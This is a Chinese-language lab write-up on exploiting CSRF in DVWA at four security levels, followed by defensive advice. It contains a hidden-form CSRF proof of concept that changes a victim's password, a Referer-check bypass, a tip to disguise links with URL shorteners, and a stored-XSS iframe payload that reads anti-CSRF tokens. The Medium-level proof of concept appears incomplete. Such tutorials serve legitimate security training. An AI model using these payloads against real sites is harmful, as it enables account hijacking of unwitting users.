DVWA-CSRF
字数 1267 2025-08-10 17:51:46

DVWA CSRF漏洞攻防教学文档

1. CSRF漏洞概述

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用用户已登录状态,诱使用户在不知情的情况下执行非预期操作的攻击方式。

2. DVWA CSRF漏洞实验环境

实验环境:DVWA(Damn Vulnerable Web Application)
目标URL:http://43.247.91.228:81/vulnerabilities/csrf/

3. CSRF漏洞等级分析

3.1 Low级别CSRF

漏洞分析

  • 服务器仅检查password_new与password_conf是否相同
  • 无任何CSRF防护机制
  • 仅依赖cookie进行身份验证

攻击步骤

  1. 修改密码并抓包,记录请求URL:

    http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
    
  2. 构造CSRF PoC(可使用Burp Suite生成):

    <html>
    <body>
      <form action="http://43.247.91.228:81/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="123456" />
        <input type="hidden" name="password_conf" value="123456" />
        <input type="hidden" name="Change" value="Change" />
        <input type="submit" value="Submit request" />
      </form>
    </body>
    </html>
    
  3. 诱使受害者(同一浏览器)访问该HTML页面或构造的URL

关键点

  • 攻击依赖受害者使用同一浏览器
  • 可利用短网址平台(如https://dwz.cn/)隐藏真实URL

3.2 Medium级别CSRF

防护机制

  • 检查HTTP_REFERER中是否包含SERVER_NAME(主机名43.247.91.228)

绕过方法

  1. 将攻击页面命名为包含主机名的文件:43.247.91.228.html
  2. 构造隐藏表单的PoC:
    
    <h1>404</h1>
    <h2>file not found.</h2>
    

攻击步骤

  1. 将上述HTML文件放置在攻击者服务器
  2. 诱使受害者访问该页面

3.3 High级别CSRF

防护机制

  • 使用Anti-CSRF token
  • 每次访问页面时生成随机token
  • 请求必须包含有效token

攻击方法

  1. 结合XSS(Stored)漏洞获取token
  2. 注入以下payload(需修改name参数):
    <iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
    
  3. 每次页面加载时会弹出token值
  4. 使用获取的token构造合法请求

3.4 Impossible级别CSRF

防护机制

  1. 使用PDO技术防御SQL注入
  2. 要求用户输入原始密码
  3. 双重验证机制使攻击者在不知道原始密码时无法进行CSRF攻击

4. CSRF防护最佳实践

  1. 使用Anti-CSRF Token

    • 为每个表单生成唯一token
    • 服务器验证token有效性
  2. 检查Referer头

    • 验证请求来源是否合法
    • 注意可能被绕过的情况
  3. 关键操作二次验证

    • 要求输入原始密码
    • 使用短信/邮件验证码
  4. 设置Cookie属性

    • SameSite属性设置为Strict或Lax
    • 使用HttpOnly和Secure标志
  5. 敏感操作限制

    • POST方法限制
    • 验证码机制

5. 实验注意事项

  1. 所有测试应在授权环境下进行
  2. 使用同一浏览器测试时注意会话管理
  3. 高级别漏洞常需要组合利用(如CSRF+XSS)
  4. 实际环境中防护措施应多层叠加

6. 总结

DVWA的CSRF模块展示了从无防护到完善防护的四个级别,体现了CSRF攻击的原理和防御方法。实际开发中应至少采用High级别的防护措施,对于敏感操作推荐使用Impossible级别的双重验证机制。

DVWA CSRF漏洞攻防教学文档 1. CSRF漏洞概述 CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用用户已登录状态,诱使用户在不知情的情况下执行非预期操作的攻击方式。 2. DVWA CSRF漏洞实验环境 实验环境:DVWA(Damn Vulnerable Web Application) 目标URL:http://43.247.91.228:81/vulnerabilities/csrf/ 3. CSRF漏洞等级分析 3.1 Low级别CSRF 漏洞分析 : 服务器仅检查password_ new与password_ conf是否相同 无任何CSRF防护机制 仅依赖cookie进行身份验证 攻击步骤 : 修改密码并抓包,记录请求URL: 构造CSRF PoC(可使用Burp Suite生成): 诱使受害者(同一浏览器)访问该HTML页面或构造的URL 关键点 : 攻击依赖受害者使用同一浏览器 可利用短网址平台(如https://dwz.cn/)隐藏真实URL 3.2 Medium级别CSRF 防护机制 : 检查HTTP_ REFERER中是否包含SERVER_ NAME(主机名43.247.91.228) 绕过方法 : 将攻击页面命名为包含主机名的文件:43.247.91.228.html 构造隐藏表单的PoC: 攻击步骤 : 将上述HTML文件放置在攻击者服务器 诱使受害者访问该页面 3.3 High级别CSRF 防护机制 : 使用Anti-CSRF token 每次访问页面时生成随机token 请求必须包含有效token 攻击方法 : 结合XSS(Stored)漏洞获取token 注入以下payload(需修改name参数): 每次页面加载时会弹出token值 使用获取的token构造合法请求 3.4 Impossible级别CSRF 防护机制 : 使用PDO技术防御SQL注入 要求用户输入原始密码 双重验证机制使攻击者在不知道原始密码时无法进行CSRF攻击 4. CSRF防护最佳实践 使用Anti-CSRF Token : 为每个表单生成唯一token 服务器验证token有效性 检查Referer头 : 验证请求来源是否合法 注意可能被绕过的情况 关键操作二次验证 : 要求输入原始密码 使用短信/邮件验证码 设置Cookie属性 : SameSite属性设置为Strict或Lax 使用HttpOnly和Secure标志 敏感操作限制 : POST方法限制 验证码机制 5. 实验注意事项 所有测试应在授权环境下进行 使用同一浏览器测试时注意会话管理 高级别漏洞常需要组合利用(如CSRF+XSS) 实际环境中防护措施应多层叠加 6. 总结 DVWA的CSRF模块展示了从无防护到完善防护的四个级别,体现了CSRF攻击的原理和防御方法。实际开发中应至少采用High级别的防护措施,对于敏感操作推荐使用Impossible级别的双重验证机制。